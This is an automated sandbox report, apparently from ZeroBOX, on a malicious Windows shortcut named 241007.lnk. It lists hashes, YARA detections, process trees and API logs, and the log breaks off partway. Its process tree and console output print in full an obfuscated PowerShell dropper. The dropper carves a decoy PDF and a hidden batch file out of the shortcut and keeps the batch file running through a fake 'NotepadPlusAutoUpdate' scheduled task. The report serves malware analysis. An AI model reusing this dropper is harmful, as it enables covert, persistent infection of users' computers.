popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

241007.lnk

Generic Malware task schedule Antivirus GIF Format Lnk Format AntiVM AntiDebug PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 14, 2024, 11:12 a.m. Oct. 14, 2024, 11:14 a.m.
Size 46.9MB
Type MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5 7eb7d0133965022ad362132782da9d15
SHA256 2a9524821533e3285e9271706c67302e6a0fa8eca79090ba980ad9d8d299c8ea
CRC32 C318AEBA
ssdeep 6144:2ShueXhH6NK0zfkM7PVxxBnfyUD456ovsBPK0acRq3a:BhCNK0RDxBhDU6sUPK0a/q
Yara
  • Antivirus - Contains references to security software
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Generic_Malware_Zero - Generic Malware

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "tUrJsdJA" C:\Users\test22\AppData\Local\Temp\241007.lnk

    2548

    • cmd.exe "C:\Windows\syswow64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"&& exit

      2680

      • cmd.exe C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od

        2764

      • powershell.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"

        2820

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: call
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: exit
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: You must provide a value expression on the right-hand side of the '-' operator.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: At line:1 char:243
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: + $xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.exte
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: nsion - <<<< in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: -Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStre
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: am($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 =
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCa
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: kcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: .SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Rea
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: d($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: \Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \"start \"NotePadPlus\
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: " /min \"' + $F61heDpmAIoK + '\" '+[char][int]::Parse(38, 'Number')+[char][int]
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: ::Parse(38, 'Number')+' exit\"';schtasks /create /sc minute /mo 6 /tn 'NotepadP
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: lusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: ;&$F61heDpmAIoK;
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordEx
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : ExpectedValueExpression
console_handle: 0x0000011f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f58b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f6038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f6038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f6038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f6038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f6038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f6038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f5e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f61b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f60f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f60f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f60f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f60f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f60f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f60f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 458752
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02810000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02840000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2820
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2820
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02052000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02062000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02841000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02842000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02063000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02064000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02065000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02066000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02aba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
